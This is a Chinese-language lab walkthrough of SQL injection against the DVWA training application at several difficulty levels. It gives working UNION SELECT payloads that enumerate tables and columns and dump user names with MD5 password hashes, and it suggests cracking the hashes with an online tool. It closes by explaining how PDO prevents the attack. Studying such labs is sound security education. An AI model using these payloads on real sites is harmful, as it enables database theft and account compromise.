原理
将恶意的SQL语句注入到s合法的语句中
类型
1、字符型
2、数字型
3、搜索型
步骤
1、判断是否存在SQL注入,注入类型
2、猜解SQL查询语句中的字段数
3、确定显示位置
4、获取当前数据库
5、获取当前数据库的表
6、获取表中字段数
7、下载数据
使用场景
Low
1、判断是否存在SQL注入,注入类型
无显示结果,证明运行了1=2 ,为字符型
2、猜解SQL查询语句中的字段数
输入3时出错,字段数为2
3、确定显示位置
可以看到select1的位置在First name处,2的位置在Surname处
4、获取当前数据库
5、获取当前数据库的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
可以看到,数据库dvwa中有两张表,分别是guestbook,users
6、获取表中字段数
一般用户的敏感信息存放在users中,先来查看一下users表
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
可以得到表中的所有列名
7、下载数据
1' union select user,password from users#
可以得到users表中所有的用户名,md5加密后的密码
8、解密,登录验证
md5在线解密工具:https://www.cmd5.com/
验证一下用户名为gordonb
Mediums
1、判断是否存在SQL注入,注入类型
这时可以使用Burp Suite 抓包,改包
导入到Repeater
数字型
2、猜解SQL查询语句中的字段数
字段数为2
3、确定显示位置
4、获取当前数据库
1 union select version(),database()#
5、获取当前数据库的表
1 union select 1,group_concat( table_name) from information_schema.tables where table_schema=database()
‘dvwa’ 此时的单引号被过滤
或者使用编码工具
6、获取表中字段数
7、下载数据
1 union select user,password from users
8、使用解密工具解密密文,登录验证,这里不再做演示。
High
其他的过程和Low级别的一样
Impossible
采用了PDO技术,将用户输入与源代码分隔开,把用户输入当作一个参数在表中查找,有则输出,无则不显示结果,这样输入与源码就不能拼接,从根本上禁止了SQL注入。